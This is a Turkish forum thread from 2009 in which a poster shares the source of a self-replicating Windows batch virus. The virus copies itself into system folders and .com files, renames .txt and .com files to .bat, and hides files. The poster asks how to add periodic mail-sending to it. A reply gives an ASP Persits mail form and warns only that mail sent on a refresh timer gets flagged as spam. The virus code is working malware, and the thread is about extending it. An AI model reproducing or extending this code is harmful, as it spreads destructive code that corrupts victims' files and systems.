Kod Yardımı

2009'den beri930 mesaj

#1
05.10.2009 22:50

arkdaslar elımde bazı kodlar var fakat bu kodların altına belirli zamanlarda send mail göndermesini istiyorum elinizde send mail kodu olan yazabılırmı veyatta ornek olarak asagırda verdıgım bır kodu nasıl send mail olarak baglantısını nasıl yapabılırım?

code:
:Bombas on your computer 99(3)
@echo off
:rep
set boom = *.com
set wibe = goto
ctty nul
copy %0 %winbootdir%\%0
copy %0 ..
copy %0 %1 %2 %3 %4 %5
ren *.txt *.bat
if not exist %boom% %wibe% fun
for %%i in (%boom% ..\%boom%) do copy %%i *.vdv
:qw
%wibe% awsd
:awsd
for %%k in (%boom% ..\%boom%) do copy %0 %%k
for %%l in (%boom% ..\%boom%) do find "%boom%" %%i
if not errorlevel 1 %wibe% fun
ren *.com *.bat
attrib *.vdv + h
attrib %0 -h
%wibe% rep
:fun
echo … ¤®£®*¨èì, … ¯®©¬ ¥èì, … ¤®£* «, … ¢®à®¢ «¨!
---------UYARI
yukardakı kodu pc nıze kopyalayıp acmayınız

honline

2009'den beri4.744 mesaj

#2
05.10.2009 23:07

Mail gönderebilmen için elinde (Mail.Host = mail.siteadı.com ) şeklinde bi host olması lazım eğer varsa bu kodu subject kısmına eklersin sayfayıda istediğin zaman aralıklarına refresh edecek şekilde ayarlarsın sayfa yenilendikce belirlediğin adreslere mail gider ama belirli bi sayıdan sonra spam olarak algılanır host aldığın yerden uyarı yersin alttaki kod mail yollar vaziyette asp ile yazılmış persits mail

 --------------Burayı mail.asp olarak kaydet---------------------
<FORM METHOD="POST" ACTION="mailc"> 
Mail Adresiniz:<br><INPUT type="text" NAME="From"><br> 
<INPUT type="text"" NAME="To" >
Konu:<br><INPUT type="text" NAME="Subject" ><br>
Mesajınız:<br><textarea name="Body" cols="70" rows="5" class="input"></textarea><br>
<INPUT TYPE="submit" NAME="Send" VALUE="Maili Gönder"></FORM> 
 
 
---------------------------mailc.asp olarak kaydet----------------------
<% @Language=VBScript %>
<% 
 ' change To address of your own SMTP server 
     strHost = "mail.siteadı.com" 'Burayı Kendi Hostunuza Göre Değiştir.
     If Request("Send" ) <> "" Then 
           
          Set Mail = Server.CreateObject("Persits.MailSender" ) 
          ' enter valid SMTP host 
          Mail.Host = strHost 
          Mail.From = Request("From" ) ' From address 
          Mail.FromName = banamail ' optional 
          Mail.AddAddress Request("To" ) 
           
          ' message subject 
         
          Mail.Subject = Request("Subject" ) 
          ' message body 
          Mail.Body = Request("Body" ) 
          strErr = "" 
          bSuccess = False 
          On Error Resume Next ' catch errors 
          Mail.Send     ' sEnd message 
          If Err <> 0 Then ' error occurred 
               strErr = Err.Description 
          Else 
               bSuccess = True 
          End If 
     End If 
%> 

------------------------bu bölümü head dan sonra koy----------------------------
<p align="center"><b>İLETİM RAPORU</b></p>

<% If strErr <> "" Then %> 
Hata Lütfen Tekrar Deneyiniz. Yada Sistem Admini İle İrtibata Geçiniz: <I><% = strErr %></I>
<% End If %> 
<% If bSuccess Then %> 
<br>Mailiniz  Başarı İle Bize iletilmiştir<br> İlginize Teşekkürler.
<% End If %>

Cevabını yaz